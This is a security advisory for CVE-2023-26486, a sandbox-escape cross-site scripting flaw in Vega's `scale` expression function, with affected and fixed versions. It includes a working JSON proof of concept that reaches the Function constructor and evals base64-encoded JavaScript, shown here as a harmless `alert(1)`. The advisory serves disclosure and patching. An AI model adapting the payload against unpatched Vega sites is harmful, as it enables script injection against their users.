CVE-2023-26486
Vega Expression Language `scale` expression function Cross Site Scripting
Impact
### Summary The Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript. ### Details The [scale](https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/functions/scale.js#L36-L37) expression function passes a user supplied argument `group` to [getScale](https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/scales.js#L6), which is then used as if it were an internal context. The `context.scales[name].value` is accessed from `group` and called as a function back in `scale`. ### PoC The following Vega definition can be used to demonstrate this issue executing the JavaScript code `alert(1);` ```json { "$schema": "https://vega.github.io/schema/vega/v5.json", "data": [ { "name": "XSS PoC", "values": [1], "transform": [ { "type": "formula", "as": "amount", "expr": "scale('func', null, {context: {scales: {func: {value: scale('func', 'eval(atob(\"YWxlcnQoMSk7\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})" } ] } ] } ``` This can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | vega-functions | < 5.13.1 | 5.13.1 |
| npm | vega | < 5.23.0 | 5.23.0 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Vega-Functions Project | Vega-Functions | before 5.13.1 |
| Vega Project | Vega | before 5.23.0 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/vega/vega/releases/tag/v5.23.0
- https://github.com/vega/vega/security/advisories/GHSA-4vq7-882g-wcg4
- https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/functions/scale.js#L36-L37
- https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/scales.js#L6
- https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA
- https://github.com/advisories/GHSA-4vq7-882g-wcg4
- https://nvd.nist.gov/vuln/detail/CVE-2023-26486